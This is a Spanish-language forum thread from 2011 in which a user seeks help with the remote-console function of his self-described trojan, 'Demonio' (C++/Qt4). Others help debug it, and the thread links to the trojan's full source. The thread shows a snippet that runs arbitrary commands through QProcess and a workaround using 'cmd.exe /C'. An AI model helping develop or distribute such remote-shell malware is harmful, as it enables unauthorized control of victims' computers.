Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: paju1986 en 4 Enero 2011, 04:08 am



Título: Ayuda con un bug de mi troyano [c++][Qt4](SOLUCIONADO)
Publicado por: paju1986 en 4 Enero 2011, 04:08 am
Buenas, tengo un bug en mi troyano que llevo ya 2 dias con él y por muchas vueltas que le doy no consigo que funcione correctamente.
Se trata de la consola remota, tengo este slot:
Código:
QString MainWindow::shell(QString comando){
    /** Función que ejecuta el comando de consola pasado como parámetro y devuelve la salida **/
    consola.start(comando);
    consola.waitForStarted();
    consola.waitForReadyRead();
    return consola.readAll();
}

consola esta definido en el .h como QProcess consola.
El caso es que no me funciona, no me devuelve la salida del comando
pero si pongo cmd.exe aparece esto

Microsoft Windows [Versi¢n 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\alberto\Desktop\DemonioCompartido\Demonio\src\servidor-build-desktop>

Alguien tiene alguna idea? aver si puedo sacar ya la 1.0 final de una vez.


Título: Re: Ayuda con un bug de mi troyano [c++][Qt4]
Publicado por: Garfield07 en 4 Enero 2011, 12:09 pm
No entiendo tu problema... te abre el cmd pero nada mas?
Podriamos ver la declaracion de los comandos que usas, o algo?
Con eso se mas bien poco...

PD: Suerte y espero verlo completo!


Título: Re: Ayuda con un bug de mi troyano [c++][Qt4]
Publicado por: paju1986 en 4 Enero 2011, 15:10 pm
los comandos que uso son los típicos comandos de windows, del mem echo etc... he comprobado que le llegan perfectamente a la función, es algo relacionado con el QProcess, quizás algo relacionado con que ejecuta los comandos de forma asíncrona y lee la salida estandar antes de que el comando haya terminado ( no estoy muy seguro de esto).
Si necesitas más está todo el código fuente del troyano en la sección Análisis y Diseño de Malware, se llama Demonio - Un troyano con licencia GPL.

SALUDOS


Título: Re: Ayuda con un bug de mi troyano [c++][Qt4]
Publicado por: Garfield07 en 4 Enero 2011, 15:38 pm
Me da un error al abrir el fichero. A ver como leo el code :o
Código:
gzip: stdin: unexpected end of file
tar: Unexpected EOF in archive
tar: Error is not recoverable: exiting now


Título: Re: Ayuda con un bug de mi troyano [c++][Qt4]
Publicado por: paju1986 en 4 Enero 2011, 15:49 pm
Vaya ***** de servidor, se corta la descarga a la mitad, no me extraña que no se abra el archivo.
¿No sabrás dónde colgar esto gratuitamente?


Título: Re: Ayuda con un bug de mi troyano [c++][Qt4]
Publicado por: Garfield07 en 4 Enero 2011, 16:14 pm
Bueno, si no megaupload + megaupremium... alguno de codigo libre como... ffff  :¬¬
ni idea. habia por ahi un portal de codigo libre que va muy bien para descargar, pero no me acuerdo del nombre :P y que probe al descargar el NC para windows / linux...

si me acuerdo, modifico...


Título: Re: Ayuda con un bug de mi troyano [c++][Qt4]
Publicado por: paju1986 en 4 Enero 2011, 16:23 pm
Ya está, lo he puesto en sourceforge, que maravilla :)


Título: Re: Ayuda con un bug de mi troyano [c++][Qt4]
Publicado por: Garfield07 en 4 Enero 2011, 16:29 pm
Link ? En Malware no esta...


Título: Re: Ayuda con un bug de mi troyano [c++][Qt4]
Publicado por: paju1986 en 4 Enero 2011, 16:32 pm
http://sourceforge.net/projects/demonio/files/Demonio.tar.gz/download


Título: Re: Ayuda con un bug de mi troyano [c++][Qt4]
Publicado por: Garfield07 en 4 Enero 2011, 17:37 pm
Buen code, aunque me lia un poco, pork no he tocado el Qt4 ni algunas cosas de C++. C es mi profesion jaja.
Te deseo mucha suerte en tu proyecto, y pon el link en el blog principal que si no es un lio...


Título: Re: Ayuda con un bug de mi troyano [c++][Qt4]
Publicado por: paju1986 en 5 Enero 2011, 01:56 am
Gracias, aún sigo con el dichoso bug, creo que lo dejaré por un tiempo y me pondré a implementar algunas cosas interesantes en el svn y pasado un tiempo lo miraré otra vez a ver si encuentro el problema. Lo malo es que no podré lanzar la 1.0 estable hasta haberlo solucionado pero en fin...

Lh: No hagas doble post, utiliza el botón modificar.

Bueno, he creado una solución temporal, llamando a cmd.exe /C comando...
No es muy bonito y tal pero al menos ejecuta los comandos y devuelve el resultado.
Lo considero suficiente como para cerrar el bug.